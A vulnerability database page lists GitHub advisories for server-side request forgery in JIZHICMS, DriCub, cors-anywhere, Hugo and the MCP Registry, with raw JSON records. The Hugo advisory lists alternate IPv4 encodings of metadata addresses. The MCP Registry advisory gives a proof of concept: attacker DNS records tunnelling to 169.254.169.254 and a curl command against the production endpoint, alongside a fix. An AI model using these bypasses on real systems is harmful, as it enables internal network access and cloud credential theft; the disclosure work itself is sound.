Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

4638 vulnerabilities reference this CWE, most recent first.

GHSA-R3GQ-R28G-G674

Vulnerability from github – Published: 2023-05-27 09:30 – Updated: 2023-05-27 09:30
VLAI
Details

A vulnerability was found in JIZHICMS 2.4.5. It has been classified as critical. Affected is the function index of the file TemplateController.php. The manipulation of the argument webapi leads to server-side request forgery. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. VDB-230082 is the identifier assigned to this vulnerability.

Severity
6.3 (Medium)
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-2927"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-05-27T09:15:10Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was found in JIZHICMS 2.4.5. It has been classified as critical. Affected is the function index of the file TemplateController.php. The manipulation of the argument webapi leads to server-side request forgery. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. VDB-230082 is the identifier assigned to this vulnerability.",
  "id": "GHSA-r3gq-r28g-g674",
  "modified": "2023-05-27T09:30:16Z",
  "published": "2023-05-27T09:30:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-2927"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HuBenLab/HuBenVulList/blob/main/JiZhiCMS%20is%20vulnerable%20to%20Server-side%20request%20forgery%20(SSRF).md"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.230082"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.230082"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-R3J9-4JWV-7CMC

Vulnerability from github – Published: 2025-09-22 21:30 – Updated: 2026-04-01 18:36
VLAI
Details

Server-Side Request Forgery (SSRF) vulnerability in SmartDataSoft DriCub allows Server Side Request Forgery. This issue affects DriCub: from n/a through 2.9.

Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-58005"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-22T19:16:01Z",
    "severity": "MODERATE"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in SmartDataSoft DriCub allows Server Side Request Forgery. This issue affects DriCub: from n/a through 2.9.",
  "id": "GHSA-r3j9-4jwv-7cmc",
  "modified": "2026-04-01T18:36:13Z",
  "published": "2025-09-22T21:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58005"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/theme/dricub-driving-school/vulnerability/wordpress-dricub-theme-2-9-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-R3JV-XFGX-GJ24

Vulnerability from github – Published: 2025-09-25 15:30 – Updated: 2025-09-26 16:34
VLAI
Summary
cors-anywhere vulnerable to server-side request forgery
Details

Rob -- W / cors-anywhere instances configured as an open proxy allow unauthenticated external users to induce the server to make HTTP requests to arbitrary targets (SSRF). Because the proxy forwards requests and headers, an attacker can reach internal-only endpoints and link-local metadata services, retrieve instance role credentials or other sensitive metadata, and interact with internal APIs and services that are not intended to be internet-facing. The vulnerability is exploitable by sending crafted requests to the proxy with the target resource encoded in the URL; many cors-anywhere deployments forward arbitrary methods and headers (including PUT), which can permit exploitation of IMDSv2 workflows as well as access to internal management APIs. Successful exploitation can result in theft of cloud credentials, unauthorized access to internal services, remote code execution or privilege escalation (depending on reachable backends), data exfiltration, and full compromise of cloud resources. Mitigation includes: restricting the proxy to trusted origins or authentication, whitelisting allowed target hosts, preventing access to link-local and internal IP ranges, removing support for unsafe HTTP methods/headers, enabling cloud provider mitigations, and deploying network-level protections.

Severity
9.0 (Critical)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:H/E:P
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "cors-anywhere"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.4.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-36851"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-25T16:47:59Z",
    "nvd_published_at": "2025-09-25T15:16:01Z",
    "severity": "CRITICAL"
  },
  "details": "Rob -- W / cors-anywhere instances configured as an open proxy allow unauthenticated external users to induce the server to make HTTP requests to arbitrary targets (SSRF). Because the proxy forwards requests and headers, an attacker can reach internal-only endpoints and link-local metadata services, retrieve instance role credentials or other sensitive metadata, and interact with internal APIs and services that are not intended to be internet-facing. The vulnerability is exploitable by sending crafted requests to the proxy with the target resource encoded in the URL; many cors-anywhere deployments forward arbitrary methods and headers (including PUT), which can permit exploitation of IMDSv2 workflows as well as access to internal management APIs. Successful exploitation can result in theft of cloud credentials, unauthorized access to internal services, remote code execution or privilege escalation (depending on reachable backends), data exfiltration, and full compromise of cloud resources. Mitigation includes: restricting the proxy to trusted origins or authentication, whitelisting allowed target hosts, preventing access to link-local and internal IP ranges, removing support for unsafe HTTP methods/headers, enabling cloud provider mitigations, and deploying network-level protections.",
  "id": "GHSA-r3jv-xfgx-gj24",
  "modified": "2025-09-26T16:34:55Z",
  "published": "2025-09-25T15:30:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/SocketDev/security-research/security/advisories/GHSA-9wmg-93pw-fc3g"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-36851"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Rob--W/cors-anywhere/issues/152"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Rob--W/cors-anywhere/issues/521"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Rob--W/cors-anywhere/issues/78"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Rob--W/cors-anywhere"
    },
    {
      "type": "WEB",
      "url": "https://www.certik.com/resources/blog/cors-anywhere-dangers-of-misconfigured-third-party-software"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/rob-w-cors-anywhere-misconfigured-cors-proxy-allows-ssrf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:H/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "cors-anywhere vulnerable to server-side request forgery"
}

GHSA-R46F-3RPW-HXRV

Vulnerability from github – Published: 2026-06-19 19:18 – Updated: 2026-06-19 19:18
VLAI
Summary
Hugo: security.http.urls deny rules bypassed by alternate IPv4 encodings (SSRF)
Details

Impact

The default security.http.urls policy denies requests to loopback, internal, and cloud-metadata IPv4 literals (e.g. http://127.0.0.1/, http://169.254.169.254/). The deny rule only matched dotted-decimal notation, so alternate IPv4 encodings of the same addresses — integer, hex, or octal, which contain no dot — passed the policy:

  • http://2130706433/ → 127.0.0.1
  • http://2852039166/ → 169.254.169.254 (cloud metadata)
  • http://0x7f000001/, http://017700000001/, http://0/

When a template passes an untrusted or data-derived URL to resources.GetRemote and the host platform uses the cgo system resolver, these encodings resolve to the blocked address — allowing build-time server-side requests to loopback and internal services, including the cloud-metadata endpoint in hosted/CI builds. The same check is reused on redirects, so the gap also applies to each redirect hop.

This affects sites that rely on security.http.urls as a security boundary while fetching attacker-influenced remote URLs; it does not affect sites that fully trust the URLs they fetch.

### Patches

Fixed in v0.163.1. Integer/hex/octal IPv4 hosts are now canonicalized to dotted-decimal before the policy is applied, so every encoding of an address is treated alike. No configuration change is required.

### Workarounds

Avoid passing untrusted URLs to resources.GetRemote, or tighten security.http.urls to an explicit allow-list of trusted hosts.

### Affected versions

v0.162.0 – v0.163.0 (patched in v0.163.1).

Severity
7.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/gohugoio/hugo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.162.0"
            },
            {
              "fixed": "0.163.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-19T19:18:14Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Impact\n\n  The default `security.http.urls` policy denies requests to loopback, internal,\n  and cloud-metadata IPv4 literals (e.g. `http://127.0.0.1/`,\n  `http://169.254.169.254/`). The deny rule only matched dotted-decimal notation,\n  so alternate IPv4 encodings of the same addresses \u2014 integer, hex, or octal,\n  which contain no dot \u2014 passed the policy:\n\n  - `http://2130706433/` \u2192 `127.0.0.1`\n  - `http://2852039166/` \u2192 `169.254.169.254` (cloud metadata)\n  - `http://0x7f000001/`, `http://017700000001/`, `http://0/`\n\n  When a template passes an untrusted or data-derived URL to\n  `resources.GetRemote` and the host platform uses the\n  cgo system resolver, these encodings resolve to the blocked address \u2014 allowing\n  build-time server-side requests to loopback and internal services, including the\n  cloud-metadata endpoint in hosted/CI builds. The same check is reused on\n  redirects, so the gap also applies to each redirect hop.\n\n  This affects sites that rely on `security.http.urls` as a security boundary\n  while fetching attacker-influenced remote URLs; it does not affect sites that\n  fully trust the URLs they fetch.\n\n  ### Patches\n\n  Fixed in **v0.163.1**. Integer/hex/octal IPv4 hosts are now canonicalized to\n  dotted-decimal before the policy is applied, so every encoding of an address is\n  treated alike. No configuration change is required.\n\n  ### Workarounds\n\n  Avoid passing untrusted URLs to `resources.GetRemote`, or\n  tighten `security.http.urls` to an explicit allow-list of trusted hosts.\n\n  ### Affected versions\n\n  v0.162.0 \u2013 v0.163.0 (patched in v0.163.1).",
  "id": "GHSA-r46f-3rpw-hxrv",
  "modified": "2026-06-19T19:18:14Z",
  "published": "2026-06-19T19:18:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gohugoio/hugo/security/advisories/GHSA-r46f-3rpw-hxrv"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gohugoio/hugo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Hugo: security.http.urls deny rules bypassed by alternate IPv4 encodings (SSRF)"
}

GHSA-R48C-V28R-PF6V

Vulnerability from github – Published: 2026-05-08 17:20 – Updated: 2026-05-15 23:46
VLAI
Summary
MCP Registry has an unauthenticated SSRF: HTTP namespace verification dials 6to4 / NAT64 / site-local IPv6 addresses, bypassing private-address allowlist
Details

Summary

The Registry's HTTP-based namespace verification (POST /v0/auth/http, POST /v0.1/auth/http) uses safeDialContext (internal/api/handlers/v0/auth/http.go:67-110) to refuse dialling private/internal addresses when fetching the well-known public-key file from a publisher-supplied domain. The blocklist (isBlockedIP, lines 125-133) relies entirely on Go stdlib's IsLoopback / IsPrivate / IsLinkLocalUnicast / IsMulticast / IsUnspecified plus a manual CGNAT range. None of these cover IPv6 6to4 (2002::/16), NAT64 (64:ff9b::/96 and 64:ff9b:1::/48 per RFC 8215), or deprecated site-local (fec0::/10) — all of which encode arbitrary IPv4 in the address bits and tunnel to RFC1918 / cloud-metadata services on dual-stack / NAT64-enabled hosts.

This is the same CWE-918 SSRF class fixed in GHSA-56c3-vfp2-5qqj on czlonkowski/n8n-mcp (CVSS 8.5 HIGH). The remediation pattern is identical: extend the blocklist with the IPv6 prefix families that embed IPv4.

The endpoint is unauthenticated — it is the login flow itself — so attack complexity is low aside from the host-level routing dependency.

Affected: latest main HEAD 23f4fda and current production v1.7.6 deployment at https://registry.modelcontextprotocol.io/v0/auth/http.

Details

Vulnerable code

internal/api/handlers/v0/auth/http.go:125-133:

func isBlockedIP(ip net.IP) bool {
    if ip == nil {
        return true
    }
    return ip.IsLoopback() || ip.IsPrivate() ||
        ip.IsLinkLocalUnicast() || ip.IsMulticast() ||
        ip.IsUnspecified() ||
        cgnatRange.Contains(ip)
}

Per Go source (src/net/ip.go), the relevant stdlib helpers cover:

Helper IPv6 coverage
IsLoopback ::1, IPv4-mapped of 127/8 (via To4() fast-path)
IsPrivate ULA fc00::/7 only — ip[0]&0xfe == 0xfc
IsLinkLocalUnicast fe80::/10 only — ip[1]&0xc0 == 0x80 (NOT fec0::/10 which is 0xc0)
IsMulticast ff00::/8
IsUnspecified ::

The Registry's blocklist therefore does not cover:

Prefix Defined in Why dangerous
2002::/16 RFC 3056 (6to4) Bits 16-47 embed an arbitrary IPv4 address. 2002:a9fe:a9fe:: is the 6to4 encoding of 169.254.169.254 (AWS / Azure metadata). 2002:0a00:0001:: encodes 10.0.0.1. On hosts with 6to4 routing or any explicit 2002::/16 route, the dial reaches the embedded IPv4.
64:ff9b::/96 RFC 6052 (NAT64 well-known prefix) Low 32 bits embed an IPv4 address. 64:ff9b::a9fe:a9fe translates to 169.254.169.254 on any NAT64-enabled network — which is the default in IPv6-only GKE node pools, AWS IPv6-only EC2, Azure IPv6 VMs with NAT64, and DNS64/NAT64 corporate networks.
64:ff9b:1::/48 RFC 8215 (local-use NAT64) Same tunnelling concern, intended for operator-defined NAT64.
fec0::/10 RFC 3879 (deprecated site-local) Some BSD / older Linux stacks still honour these for routing into site-local internal networks.

safeDialContext resolves DNS once and dials by IP (good — pins against rebinding TOCTOU), but the IP-allowlist gate is the security boundary, and that gate is incomplete.

Exposure surface

POST /v0/auth/http (and POST /v0.1/auth/http) is registered in internal/api/handlers/v0/auth/http.go:197-218 and routed unauthenticated in internal/api/router/v0.go:24,39:

huma.Register(api, huma.Operation{
    OperationID: "exchange-http-token...",
    Method:      http.MethodPost,
    Path:        pathPrefix + "/auth/http",
    Summary:     "Exchange HTTP signature for Registry JWT",
    ...
}, func(ctx context.Context, input *HTTPTokenExchangeInput) (...) {
    response, err := handler.ExchangeToken(ctx, input.Body.Domain, ...)
    ...
})

The handler builds https://<attacker-domain>/.well-known/mcp-registry-auth (line 143) and dials via the safeDialContext-equipped client. The domain parameter is taken verbatim from the unauthenticated POST body.

Critical order-of-operations confirmation in CoreAuthHandler.ExchangeToken (internal/api/handlers/v0/auth/common.go:246-265):

  1. ValidateDomainAndTimestamp(domain, timestamp) — domain format check (no IP literal, must contain dot)
  2. DecodeAndValidateSignature(signedTimestamp) — hex decode
  3. keyFetcher(ctx, domain) ← SSRF dial happens here
  4. VerifySignatureWithKeys(...) ← only AFTER fetch

So the SSRF dial fires before any signature verification. Attacker needs only a valid RFC3339 timestamp (±15s window) and any hex string for signedTimestamp.

PoC

Tested against main HEAD 23f4fda (make dev-compose boots Registry on localhost:8080).

Step 1 — Set up attacker DNS

Configure attacker.example with the AAAA records:

attacker-6to4.example.       AAAA  2002:a9fe:a9fe::         ; 6to4 -> 169.254.169.254
attacker-nat64.example.      AAAA  64:ff9b::a9fe:a9fe       ; NAT64 -> 169.254.169.254
attacker-rfc1918.example.    AAAA  64:ff9b::a00:0001        ; NAT64 -> 10.0.0.1

(Equivalent free options: a domain on Cloudflare with manual AAAA, or a requestbin-style service with custom DNS.)

Step 2 — Trigger the dial (no credentials required)

curl -i https://registry.modelcontextprotocol.io/v0/auth/http \
  -H 'Content-Type: application/json' \
  -d "{\"domain\":\"attacker-nat64.example\",\"timestamp\":\"$(date -u +%Y-%m-%dT%H:%M:%SZ)\",\"signedTimestamp\":\"00\"}"

Timestamp need only be within ±15s of server clock. signedTimestamp is any hex string — it is decoded but only verified AFTER FetchKey has already dialled.

Step 3 — Observe

On a NAT64-enabled host (default in IPv6-only GKE / AWS IPv6 nodes / Cloudflare WARP), the server-side dial reaches 169.254.169.254:443. Tcpdump on the registry host confirms the outbound TLS handshake to the embedded IPv4. Where 169.254.169.254 listens on a TLS port (most cloud metadata services do not, but kube-apiserver, internal admin panels, and bespoke IPv4 services do), the connection completes and the response (limited to 4 KiB by MaxKeyResponseSize) is consumed as a key candidate.

For hosts without 6to4 / NAT64 routing, the dial fails with no route to host rather than refusing to connect to private or loopback address — proving the gate did not block. The differential error message provides a blind-SSRF oracle for probing internal services for existence / TLS port reachability.

Expected behaviour after fix

isBlockedIP should return true for any IPv6 address in the prefix families listed above, mirroring the n8n-mcp isPrivateOrMappedIpv6 helper (GHSA-56c3-vfp2-5qqj patch). Reference implementation:

func isBlockedIPv6Prefix(ip net.IP) bool {
    v6 := ip.To16()
    if v6 == nil || ip.To4() != nil {
        return false
    }
    // 6to4 (2002::/16)
    if v6[0] == 0x20 && v6[1] == 0x02 {
        return true
    }
    // NAT64 well-known 64:ff9b::/96
    if v6[0] == 0x00 && v6[1] == 0x64 && v6[2] == 0xff && v6[3] == 0x9b &&
       v6[4] == 0 && v6[5] == 0 && v6[6] == 0 && v6[7] == 0 {
        return true
    }
    // NAT64 RFC 8215 local-use 64:ff9b:1::/48
    if v6[0] == 0x00 && v6[1] == 0x64 && v6[2] == 0xff && v6[3] == 0x9b &&
       v6[4] == 0x00 && v6[5] == 0x01 {
        return true
    }
    // Site-local fec0::/10 (deprecated, RFC 3879 -- still honoured by some stacks)
    if v6[0] == 0xfe && (v6[1]&0xc0) == 0xc0 {
        return true
    }
    return false
}

Then extend the call site:

return ip.IsLoopback() || ip.IsPrivate() ||
    ip.IsLinkLocalUnicast() || ip.IsMulticast() ||
    ip.IsUnspecified() ||
    cgnatRange.Contains(ip) ||
    isBlockedIPv6Prefix(ip)

A regression test fixture should set up a stub resolver returning each of the four prefix families and assert that safeDialContext returns the "private/loopback" error before any dial.

Impact

CWE: CWE-918 Server-Side Request Forgery (consistent with parent precedent GHSA-56c3-vfp2-5qqj).

CVSS:3.1: matching the n8n-mcp precedent (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N ~= 8.5 HIGH). AC = High because exploitation depends on the registry host having NAT64 or 6to4 routing — the default on IPv6-only and dual-stack cloud network plans (GKE IPv6, AWS IPv6-only EC2, Azure IPv6 VMs with NAT64) but not on plain-IPv4 deployments. Privileges = None (the endpoint is the login flow itself).

For the official https://registry.modelcontextprotocol.io deployment specifically, this lets an unauthenticated attacker reach any IPv4 address that is routable from the registry's outbound interface — including AWS / GCP / Azure metadata services if hosted on a cloud VM with metadata enabled, internal Kubernetes API servers, internal admin panels, etc. The 4 KiB response cap (MaxKeyResponseSize) limits exfiltrated content per request but does not prevent fingerprinting / oracle attacks (status-code differential, response-length differential).

Self-hosters running the registry on dual-stack / IPv6-only infrastructure are equally exposed.

Why this slipped past PR #1227

The April 29 hardening batch (commit 1201cbd, "security: fix open redirect and add small hardening") explicitly added safeDialContext to block "loopback, RFC1918, link-local, multicast, CGNAT, or IP-literal/single-label" addresses. The author correctly identified the IPv4 attack surface and the link-local cloud-metadata vector, but composed the blocklist from Go's per-class stdlib helpers — which collectively miss the IPv6 prefix families that embed IPv4. The same gap was caught and fixed in n8n-mcp (GHSA-56c3-vfp2-5qqj). No commits in git log --since=2026-03-01 internal/api/handlers/v0/auth/http.go reference 6to4 / NAT64 / site-local.

Credit

Reported by Matteo Panzeri (GitHub: matte1782).

Severity
4.0 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N
6.3 (Medium)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/modelcontextprotocol/registry"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.7.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44430"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-08T17:20:56Z",
    "nvd_published_at": "2026-05-14T21:16:46Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe Registry\u0027s HTTP-based namespace verification (`POST /v0/auth/http`, `POST /v0.1/auth/http`) uses `safeDialContext` (`internal/api/handlers/v0/auth/http.go:67-110`) to refuse dialling private/internal addresses when fetching the well-known public-key file from a publisher-supplied domain. The blocklist (`isBlockedIP`, lines 125-133) relies entirely on Go stdlib\u0027s `IsLoopback / IsPrivate / IsLinkLocalUnicast / IsMulticast / IsUnspecified` plus a manual CGNAT range. **None of these cover IPv6 6to4 (`2002::/16`), NAT64 (`64:ff9b::/96` and `64:ff9b:1::/48` per RFC 8215), or deprecated site-local (`fec0::/10`)** \u2014 all of which encode arbitrary IPv4 in the address bits and tunnel to RFC1918 / cloud-metadata services on dual-stack / NAT64-enabled hosts.\n\nThis is the same CWE-918 SSRF class fixed in **GHSA-56c3-vfp2-5qqj** on `czlonkowski/n8n-mcp` (CVSS 8.5 HIGH). The remediation pattern is identical: extend the blocklist with the IPv6 prefix families that embed IPv4.\n\nThe endpoint is **unauthenticated** \u2014 it is the login flow itself \u2014 so attack complexity is low aside from the host-level routing dependency.\n\nAffected: latest `main` HEAD `23f4fda` and current production `v1.7.6` deployment at `https://registry.modelcontextprotocol.io/v0/auth/http`.\n\n### Details\n\n#### Vulnerable code\n\n`internal/api/handlers/v0/auth/http.go:125-133`:\n\n```go\nfunc isBlockedIP(ip net.IP) bool {\n    if ip == nil {\n        return true\n    }\n    return ip.IsLoopback() || ip.IsPrivate() ||\n        ip.IsLinkLocalUnicast() || ip.IsMulticast() ||\n        ip.IsUnspecified() ||\n        cgnatRange.Contains(ip)\n}\n```\n\nPer Go source (`src/net/ip.go`), the relevant stdlib helpers cover:\n\n| Helper | IPv6 coverage |\n|---|---|\n| `IsLoopback` | `::1`, IPv4-mapped of 127/8 (via `To4()` fast-path) |\n| `IsPrivate` | ULA `fc00::/7` only \u2014 `ip[0]\u00260xfe == 0xfc` |\n| `IsLinkLocalUnicast` | `fe80::/10` only \u2014 `ip[1]\u00260xc0 == 0x80` (NOT `fec0::/10` which is `0xc0`) |\n| `IsMulticast` | `ff00::/8` |\n| `IsUnspecified` | `::` |\n\nThe Registry\u0027s blocklist therefore **does not** cover:\n\n| Prefix | Defined in | Why dangerous |\n|---|---|---|\n| `2002::/16` | RFC 3056 (6to4) | Bits 16-47 embed an arbitrary IPv4 address. `2002:a9fe:a9fe::` is the 6to4 encoding of `169.254.169.254` (AWS / Azure metadata). `2002:0a00:0001::` encodes `10.0.0.1`. On hosts with 6to4 routing or any explicit `2002::/16` route, the dial reaches the embedded IPv4. |\n| `64:ff9b::/96` | RFC 6052 (NAT64 well-known prefix) | Low 32 bits embed an IPv4 address. `64:ff9b::a9fe:a9fe` translates to `169.254.169.254` on any NAT64-enabled network \u2014 which is the **default** in IPv6-only GKE node pools, AWS IPv6-only EC2, Azure IPv6 VMs with NAT64, and DNS64/NAT64 corporate networks. |\n| `64:ff9b:1::/48` | RFC 8215 (local-use NAT64) | Same tunnelling concern, intended for operator-defined NAT64. |\n| `fec0::/10` | RFC 3879 (deprecated site-local) | Some BSD / older Linux stacks still honour these for routing into site-local internal networks. |\n\n`safeDialContext` resolves DNS once and dials by IP (good \u2014 pins against rebinding TOCTOU), but the IP-allowlist gate is the security boundary, and that gate is incomplete.\n\n#### Exposure surface\n\n`POST /v0/auth/http` (and `POST /v0.1/auth/http`) is registered in `internal/api/handlers/v0/auth/http.go:197-218` and routed unauthenticated in `internal/api/router/v0.go:24,39`:\n\n```go\nhuma.Register(api, huma.Operation{\n    OperationID: \"exchange-http-token...\",\n    Method:      http.MethodPost,\n    Path:        pathPrefix + \"/auth/http\",\n    Summary:     \"Exchange HTTP signature for Registry JWT\",\n    ...\n}, func(ctx context.Context, input *HTTPTokenExchangeInput) (...) {\n    response, err := handler.ExchangeToken(ctx, input.Body.Domain, ...)\n    ...\n})\n```\n\nThe handler builds `https://\u003cattacker-domain\u003e/.well-known/mcp-registry-auth` (line 143) and dials via the `safeDialContext`-equipped client. The `domain` parameter is taken verbatim from the unauthenticated POST body.\n\nCritical order-of-operations confirmation in `CoreAuthHandler.ExchangeToken` (`internal/api/handlers/v0/auth/common.go:246-265`):\n\n1. `ValidateDomainAndTimestamp(domain, timestamp)` \u2014 domain format check (no IP literal, must contain dot)\n2. `DecodeAndValidateSignature(signedTimestamp)` \u2014 hex decode\n3. **`keyFetcher(ctx, domain)`** \u2190 SSRF dial happens here\n4. `VerifySignatureWithKeys(...)` \u2190 only AFTER fetch\n\nSo the SSRF dial fires before any signature verification. Attacker needs only a valid RFC3339 timestamp (\u00b115s window) and any hex string for `signedTimestamp`.\n\n### PoC\n\nTested against `main` HEAD `23f4fda` (`make dev-compose` boots Registry on `localhost:8080`).\n\n#### Step 1 \u2014 Set up attacker DNS\n\nConfigure `attacker.example` with the AAAA records:\n\n```\nattacker-6to4.example.       AAAA  2002:a9fe:a9fe::         ; 6to4 -\u003e 169.254.169.254\nattacker-nat64.example.      AAAA  64:ff9b::a9fe:a9fe       ; NAT64 -\u003e 169.254.169.254\nattacker-rfc1918.example.    AAAA  64:ff9b::a00:0001        ; NAT64 -\u003e 10.0.0.1\n```\n\n(Equivalent free options: a domain on Cloudflare with manual AAAA, or a `requestbin`-style service with custom DNS.)\n\n#### Step 2 \u2014 Trigger the dial (no credentials required)\n\n```bash\ncurl -i https://registry.modelcontextprotocol.io/v0/auth/http \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \"{\\\"domain\\\":\\\"attacker-nat64.example\\\",\\\"timestamp\\\":\\\"$(date -u +%Y-%m-%dT%H:%M:%SZ)\\\",\\\"signedTimestamp\\\":\\\"00\\\"}\"\n```\n\nTimestamp need only be within \u00b115s of server clock. `signedTimestamp` is any hex string \u2014 it is decoded but only verified AFTER `FetchKey` has already dialled.\n\n#### Step 3 \u2014 Observe\n\nOn a NAT64-enabled host (default in IPv6-only GKE / AWS IPv6 nodes / Cloudflare WARP), the server-side dial reaches `169.254.169.254:443`. Tcpdump on the registry host confirms the outbound TLS handshake to the embedded IPv4. Where 169.254.169.254 listens on a TLS port (most cloud metadata services do not, but kube-apiserver, internal admin panels, and bespoke IPv4 services do), the connection completes and the response (limited to 4 KiB by `MaxKeyResponseSize`) is consumed as a key candidate.\n\nFor hosts without 6to4 / NAT64 routing, the dial fails with `no route to host` rather than `refusing to connect to private or loopback address` \u2014 proving the gate did not block. The differential error message provides a blind-SSRF oracle for probing internal services for existence / TLS port reachability.\n\n#### Expected behaviour after fix\n\n`isBlockedIP` should return `true` for any IPv6 address in the prefix families listed above, mirroring the n8n-mcp `isPrivateOrMappedIpv6` helper (GHSA-56c3-vfp2-5qqj patch). Reference implementation:\n\n```go\nfunc isBlockedIPv6Prefix(ip net.IP) bool {\n    v6 := ip.To16()\n    if v6 == nil || ip.To4() != nil {\n        return false\n    }\n    // 6to4 (2002::/16)\n    if v6[0] == 0x20 \u0026\u0026 v6[1] == 0x02 {\n        return true\n    }\n    // NAT64 well-known 64:ff9b::/96\n    if v6[0] == 0x00 \u0026\u0026 v6[1] == 0x64 \u0026\u0026 v6[2] == 0xff \u0026\u0026 v6[3] == 0x9b \u0026\u0026\n       v6[4] == 0 \u0026\u0026 v6[5] == 0 \u0026\u0026 v6[6] == 0 \u0026\u0026 v6[7] == 0 {\n        return true\n    }\n    // NAT64 RFC 8215 local-use 64:ff9b:1::/48\n    if v6[0] == 0x00 \u0026\u0026 v6[1] == 0x64 \u0026\u0026 v6[2] == 0xff \u0026\u0026 v6[3] == 0x9b \u0026\u0026\n       v6[4] == 0x00 \u0026\u0026 v6[5] == 0x01 {\n        return true\n    }\n    // Site-local fec0::/10 (deprecated, RFC 3879 -- still honoured by some stacks)\n    if v6[0] == 0xfe \u0026\u0026 (v6[1]\u00260xc0) == 0xc0 {\n        return true\n    }\n    return false\n}\n```\n\nThen extend the call site:\n\n```go\nreturn ip.IsLoopback() || ip.IsPrivate() ||\n    ip.IsLinkLocalUnicast() || ip.IsMulticast() ||\n    ip.IsUnspecified() ||\n    cgnatRange.Contains(ip) ||\n    isBlockedIPv6Prefix(ip)\n```\n\nA regression test fixture should set up a stub resolver returning each of the four prefix families and assert that `safeDialContext` returns the \"private/loopback\" error before any dial.\n\n### Impact\n\nCWE: **CWE-918** Server-Side Request Forgery (consistent with parent precedent GHSA-56c3-vfp2-5qqj).\n\nCVSS:3.1: matching the n8n-mcp precedent (`AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N` ~= **8.5 HIGH**). AC = High because exploitation depends on the registry 